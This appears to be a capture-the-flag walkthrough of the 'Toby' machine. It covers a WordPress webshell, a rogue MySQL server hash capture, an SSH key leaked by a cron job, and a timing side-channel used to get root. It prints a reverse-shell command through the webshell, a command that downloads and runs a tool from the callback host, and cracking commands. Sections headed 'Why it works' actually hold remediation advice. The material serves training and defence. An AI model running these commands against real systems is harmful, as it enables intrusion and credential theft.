Toby
Summary
An attacker scanned the target and identified a WordPress blog on the virtual host wordpress.toby.htb that retained a PHP webshell left over from a prior breach.
Interacting with the backdoor produced code execution as www-data inside a Docker container.
Sweeping the internal 172.x network from that container exposed an unauthenticated MySQL service whose password hashes were dumped and cracked offline; the recovered passwords were tested for reuse across exposed SSH services.
Source code recovered from an internal web application revealed that its MySQL client accepted a caller-supplied server address with no TLS certificate validation, allowing the attacker to redirect the connection to a rogue MySQL server, capture the client authentication hash, and crack it offline to recover a service-account password that opened an SSH session on port 10022.
From the resulting container shell, pspy process monitoring caught a cron job that periodically wrote user jack's private SSH key to a world-readable temporary file; the key was stolen and used to authenticate directly to the outer host as jack.
Finally, a setuid-root binary compared a hardcoded password character by character and exited immediately on the first mismatch, producing a measurable per-character timing difference.
A timing brute-force script recovered the full root password one position at a time; providing it to su delivered full system compromise.
Attack path — how the box was taken
Mapped open services and discovered the WordPress virtual host, then Located a leftover backdoor PHP file inside the WordPress wp-content directory, then Triggered the webshell to obtain a reverse shell inside the WordPress Docker container, then Swept the internal Docker network, dumped MySQL password hashes, and cracked them offline, then Redirected an internal web application to a rogue MySQL server to capture and crack its auth hash, then Used pspy to observe a cron job exposing jack's private SSH key in a world-readable temporary file, then Timed a character-by-character password check in a setuid-root binary to recover the root credential.
Exact commands 2
nmap -Pn -sV -p 22,80,10022,10080 $TARGETecho "$TARGET toby.htb wordpress.toby.htb" | sudo tee -a /etc/hostsExact commands 2
wpscan --url http://$TARGET/ --enumerate p,t,u,m --plugins-detection aggressivecurl -s "http://$TARGET/wp-content/uploads/" -A 'Mozilla/5.0'Exact commands 2
nc -lvnp 4444curl -s "http://$TARGET/wp-content/<backdoor_path>.php" --get --data-urlencode "cmd=bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"Exact commands 2
for h in $(seq 1 254); do (ping -c1 -W1 172.20.0.$h &>/dev/null && echo "alive: 172.20.0.$h") & done; waithashcat -m 300 mysql_hashes.txt /usr/share/wordlists/rockyou.txt --forceExact commands 2
git clone https://github.com/allyshka/Rogue-MySql-Server.git && cd Rogue-MySql-Server && python rogue_mysql_server.py --port 3306curl -s -X POST "http://$TARGET/<internal_endpoint>" --data "db_host=$CALLBACK_HOST"Exact commands 2
wget http://$CALLBACK_HOST:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64cat /tmp/jack_host_idExact commands 2
find / -perm -4000 -type f 2>/dev/nullpython3 timing_brute.py /path/to/<suid_checker>Attack patterns used
The transferable techniques behind the compromise.
WordPress wp-content webshell discoveryEnumerationT1505.003
What it is
Automated enumeration of the WordPress install's plugins, themes, and uploads directories, followed by manual inspection of the wp-content tree, uncovered an anomalous PHP file containing obfuscated code consistent with a webshell: base64-decoded eval() or direct system() calls not present in any official plugin or theme distribution. A test request with a command parameter confirmed the file accepted arbitrary OS commands and executed them without authentication.
Why it works
Immediately compare every file under wp-content/plugins, wp-content/themes, and wp-content/uploads against a version-controlled or plugin-registry baseline and remove all files not in that baseline. Add an Nginx location block for wp-content/uploads that returns 403 for .php requests and sets fastcgi_param to disable PHP execution in that directory. Rotate all WordPress secret keys and the database password. Deploy a file-integrity monitor such as Wordfence or AIDE to alert on any unauthorized file creation under web-served directories going forward.
Internal network enumeration, MySQL credential harvesting, offline hash crackingLateral MovementT1110.002
What it is
From inside the WordPress container, a lightweight ping sweep of the internal 172.x/24 subnet located a sibling container running MySQL on port 3306. The MySQL instance accepted an unauthenticated or weakly authenticated connection, allowing the attacker to dump all rows from the mysql.user table. The extracted hashes were transferred to the attacker machine and submitted to hashcat against rockyou.txt. Recovered plaintext passwords were tested for reuse against the SSH services on ports 22 and 10022 of the outer host.
Why it works
Move the MySQL container to a dedicated Docker backend network that only the specific application containers requiring database access may join. Set bind-address in my.cnf to the backend interface only. Remove all anonymous MySQL accounts, enforce strong passwords for every account, and drop the default test database. Enable require_secure_transport and mutual TLS between application and database containers. Rotate all database credentials immediately.
Rogue MySQL server authentication-hash captureLateral MovementT1557.002
What it is
Source code retrieved from the internal web application revealed that its MySQL client accepted a caller-supplied server address with no TLS certificate verification. By providing the attacker's IP as the database host, the application was made to initiate a MySQL handshake against a rogue server the attacker controlled. The rogue server returned a crafted server-greeting challenge, and the application's client responded with a scrambled authentication packet that the rogue server logged. Cracking that challenge-response hash offline with hashcat and rockyou.txt recovered the service account's plaintext password. That credential authenticated over SSH on port 10022, gaining an interactive shell in an internal container.
Why it works
Hard-code the MySQL server hostname and port in the application's server-side configuration file and never accept them from user input or HTTP parameters. Configure the MySQL client DSN to require TLS with ssl-ca and ssl-verify-server-cert so the client rejects any server that cannot present a certificate signed by the internal CA. Set local_infile=OFF in both my.cnf and the application connection string. Rotate the affected service-account password.
Cron-job process monitoring for credential exposureLateral MovementT1552.004
What it is
After gaining an interactive shell in the internal container, pspy64 was uploaded and executed to monitor all process events without root privileges. A periodic cron job was observed writing user jack's RSA private SSH key to /tmp/jack_host_id, a path readable by every local user. The key was copied during the window it existed on disk, saved to the attacker machine, and used to authenticate over port 22 to the outer host directly as jack.
Why it works
Identify and eliminate every cron job or management script that copies or caches private SSH keys in shared or world-readable directories. If scheduled operations legitimately requires key-based SSH access, store the key in a directory owned by the target account at mode 0600 and run the cron job as that same account. For broader scheduled operations, replace long-lived static private keys with short-lived SSH certificates issued by an internal CA, or inject credentials at runtime from a secrets manager rather than materializing them on disk.
Timing side-channel brute-force against non-constant-time string comparisonPrivilege EscalationT1110
What it is
Enumeration from jack's shell surfaced a custom setuid-root binary that read a password from stdin and compared it against a hardcoded value one character at a time, returning immediately on the first wrong character. Each additional correct leading character caused a measurable latency increase because more comparisons occurred before the early exit. A Python timing brute-force script measured the binary's response time across all printable ASCII candidates at each position, selected the character producing the longest delay, and appended it to the growing candidate string, recovering the full password [REDACTED: recovered credential] one position at a time. Feeding that password to su from jack's SSH session escalated to root.
Why it works
Replace the sequential strcmp-style comparison with a constant-time function such as CRYPTO_memcmp (OpenSSL) or timingsafe_bcmp (BSD libc) that always processes the full expected length regardless of where a mismatch occurs. If the binary is unmaintained or the functionality can be expressed otherwise, remove its setuid bit entirely and implement the required privilege through a tightly scoped sudo rule with an explicit command path instead. Audit all other privileged binaries in the environment for the same sequential-comparison pattern.
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 10022/tcp | ssh OpenSSH 8.1 (protocol 2.0) |
| 10080/tcp | amanda? |